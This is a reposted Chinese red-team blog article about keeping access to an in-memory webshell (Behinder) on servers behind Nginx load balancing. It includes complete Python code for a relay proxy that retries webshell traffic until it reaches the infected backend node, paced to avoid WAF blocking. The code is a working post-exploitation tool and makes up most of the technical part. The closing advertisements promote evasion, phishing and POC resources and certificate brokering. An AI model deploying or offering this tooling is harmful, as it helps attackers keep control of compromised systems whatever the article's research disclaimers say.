文章总结: 该文档探讨了在负载均衡环境下连接内存马的技术难题,指出传统盲打注入和WebSocket内存马的局限性,提出通过Python构建中转代理服务器实现自动重试路由的解决方案。文章详细展示了实战场景中的Nginx轮询问题,并提供了完整的代理代码实现,最终验证该方法能有效穿透负载均衡限制。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,WEB安全,安全工具
负载均衡下打内存马的奇淫技巧
ptr ptr
不秃头的安全
2026年3月23日 11:34 北京
在小说阅读器读本章
去阅读
负载均衡下打内存马的奇淫技巧
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。
知识星球和交流群在最下方。
需要cn*d(中高)/c2n*d(高与支撑单位)/安全证书请联系vx咨询。
起
负载均衡下的内存马连接与利用,一直是渗透测试和红队评估中的进阶难点。
当目标系统前端存在Nginx、F5或云厂商的负载均衡器时,流量会被分发到后端多个服务器中。如果你只向其中一台服务器注入了内存马,当你尝试发送控制命令时,负载均衡器可能会将你的请求路由到未被感染的健康节点上,导致命令执行失败。
那目前有最简单暴力的方法时盲打全量注入,也就是批量发包来实现。其本质上时利用负载均衡的轮询或随机分发机制,发送数百上千次数据包,直到后端的每一个节点都被成功植入了内存马。
这种方法好是好,但是你红队评估完成后,客户要求你清理内存马,又开始头疼了。
有人提出用websocket内存马,这也是一种很好的解决方法。其本质上是利用了WebSocket协议在完成握手后,会建立一条持久的TCP长连接。负载均衡器在处理WebSocket时,会保持这条全双工通道的开启。
MemShellParty已经有了这种内存马,但似乎兼容性还有待提高,另一方面,不是所有的服务器都支持websocket协议的,所以这也不是一种通杀的方法。
承
我们来看一个具体的实战场景。
通过反序列化漏洞打入内存马后,通过冰蝎3进行连接。
冰蝎进行连接的时候,会触发两次连接,第一次连接成功命中节点有了回显,第二次连接由于Nginx的轮询机制,导致访问404。
那最后的结果就是连接失败。
不妨将这两个数据包发到重放模块中,具体观察下。
请求一次。
请求二次。
那我们就可以观察到,Nginx轮询两次一循环。
当然这只是针对当前攻防情景,大多数情况下,可能会有十次、甚至数十次。
转
那基于此种现象,我们可以有这样的想法:
做一个中转代理服务器,将webshell管理器流量导入到中转,如果响应200则返回,如果响应非200则由中转代为请求,直到响应200为止。
借助python我们可以搭起来一个简单的中转代理服务器。
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
LISTEN_PORT = 8086# 本地监听端口
TARGET_URL = "http://ip:port/path"# 目标实际的内存马地址
MAX_RETRIES = 100# 最大重试次数
RETRY_DELAY = 0.1# 每次重试间隔(秒),避免请求过快被 WAF 拦截
class ProxyHTTPRequestHandler(BaseHTTPRequestHandler):
def handle_proxy_request(self):
content_length = int(self.headers.get('Content-Length', 0))
post_data = self.rfile.read(content_length) if content_length > 0elseNone
req_headers = {key: value for key, value in self.headers.items()}
if'Host'in req_headers:
del req_headers['Host']
print(f"\n[*] 收到来自管理工具的请求,开始向目标盲打路由...")
for attempt in range(1, MAX_RETRIES + 1):
try:
response = requests.request(
method=self.command,
url=TARGET_URL,
headers=req_headers,
data=post_data,
verify=False,
timeout=10,
allow_redirects=False
)
if response.status_code == 200:
print(f"[+] 第 {attempt} 次尝试: 成功命中被感染节点! (Status: 200)")
self.send_response(200)
for k, v in response.headers.items():
if k.lower() notin ['transfer-encoding', 'content-encoding', 'connection']:
self.send_header(k, v)
self.end_headers()
self.wfile.write(response.content)
return
else:
print(f"[-] 第 {attempt} 次尝试: 命中健康节点 (Status: {response.status_code}),继续重试...")
time.sleep(RETRY_DELAY)
except requests.exceptions.RequestException as e:
print(f"[!] 网络请求异常: {e}")
time.sleep(RETRY_DELAY)
# 超过最大重试次数仍未命中
print("[-] 达到最大重试次数,放弃当前请求。")
self.send_response(502)
self.end_headers()
self.wfile.write(b"Bad Gateway: Reached max retries to find the infected node.")
def do_GET(self):
self.handle_proxy_request()
def do_POST(self):
self.handle_proxy_request()
def log_message(self, format, *args):
pass
if __name__ == '__main__':
server_address = ('127.0.0.1', LISTEN_PORT)
httpd = HTTPServer(server_address, ProxyHTTPRequestHandler)
print(f"[*] 本地中转代理已启动: http://127.0.0.1:{LISTEN_PORT}")
print(f"[*] 请将 Webshell 管理工具的 URL 设置为上述本地地址。")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[*] 代理已停止。")
httpd.server_close()
我们将环境配置好:
连接内存马:
可以看到通过这种机制,我们已经可以实现在负载均衡下进行连接内存马了。
合
方法虽然轻量,但足以破局。或许已有师傅看完此文,准备去重构自己的管理工具了。
每个难点都会有解决办法的,站点如此,我想人生也是;都说车灯最多只能照亮50米,但依旧可以走完全程。
我想我把眼前的事情做好,未来,我或许有机会,体验那句,拜水都江堰、问道青城山。
共勉…
参考文章:
1、https://party.mem.mk/ui/docs/middleware/tomcat-websocket#%E7%BB%95%E8%BF%87-nginx-%E6%88%96-cdn-%E9%99%90%E5%88%B6
2、https://mp.weixin.qq.com/s/tpXuZ6Vt6qGLDF6EEIvYPg 3、https://github.com/zema1/suo5
- END –
📚 往期推荐 ChiXiao (赤霄)现代化红蓝攻防综合平台 FLUX-Web安全扫描工具 白盒审计获得CNVD证书的案例 飞牛私有云fnOS远程命令执行漏洞与文件读取漏洞【批量验证脚本】
关于我们:
感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。
1. 需要以下各类安全证书的可以联系~
①Cn*d,NCC,NVDB🀄️高漏洞证书
②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得
③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。以下是其他全部证书
【腾讯文档】【信息安全 数据安全 IT认证证书】~不秃头的安全Vx:Meditation0723
https://docs.qq.com/doc/DZmtOckpOakJrcFVv?#
想加群下方二维码,群过期或群满加下方vx拉:
- 需要入星球的可以私聊优惠?
1、维护更新src、cnxd、cnnxd专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、fafo/零零信安 高级会员key
3、最新POC通用报告详情分享思路
4、知识星球专属微信“内部圈子交流群”
5、攻防演练资源分享(免杀、溯源、钓鱼等)
6、新鲜工具分享
7、不定期有工作招聘内推(工作/护网内推)
8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠
3、其他合作(合法合规)
1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);
2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;
3、接受脱敏投稿,送一年知识星球及礼包。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:不秃头的安全 ptr ptr《负载均衡下打内存马的奇淫技巧》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论